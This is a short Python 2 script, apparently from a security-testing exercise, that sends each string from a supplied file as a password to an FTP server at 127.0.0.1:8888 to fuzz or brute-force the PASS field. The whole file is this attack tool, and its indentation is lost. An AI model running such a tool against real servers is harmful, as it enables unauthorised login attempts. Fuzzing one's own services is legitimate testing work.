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ftp_signals_login_brute.py
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ftp_signals_login_brute.py
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#/bin/python
# Program for fuzzing / attacking an ftp PASS field
import socket
import sys
import signal
TARGET_SERVER = ("127.0.0.1", 8888)
ftp_login_user = 'test'
ftp_login_pass = 'test'
tcpSocket = 0
def signal_handler(signum, frm) :
global tcpSocket
print "SIGINT received"
print "Shutting down client gracefully."
# now shut it down
tcpSocket.close()
print "Exiting now."
sys.exit()
def fuzz_client(hot_fuzz):
global tcpSocket
tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpSocket.connect(TARGET_SERVER)
signal.signal(signal.SIGINT, signal_handler)
for fuzz in hot_fuzz:
tcpSocket.send('USER '+ftp_login_user+'\r\n')
print tcpSocket.recv(1024)
tcpSocket.send('PASS '+fuzz+'\r\n')
print 'Pass '+fuzz
print tcpSocket.recv(1024)
if __name__ == '__main__':
print "Starting fuzzing client..."
fuzz_file = raw_input("Please enter the location of the fuzz string file: ")
try:
hott_fuzz = open(fuzz_file, 'rb').read()
hot_fuzz = hott_fuzz.split()
except:
print "could not open fuzz file!"
exit
fuzz_client(hot_fuzz)
# SIGINT is the signal for program interrupt
signal.signal(signal.SIGINT, signal_handler)
# and now we wait
while True:
pass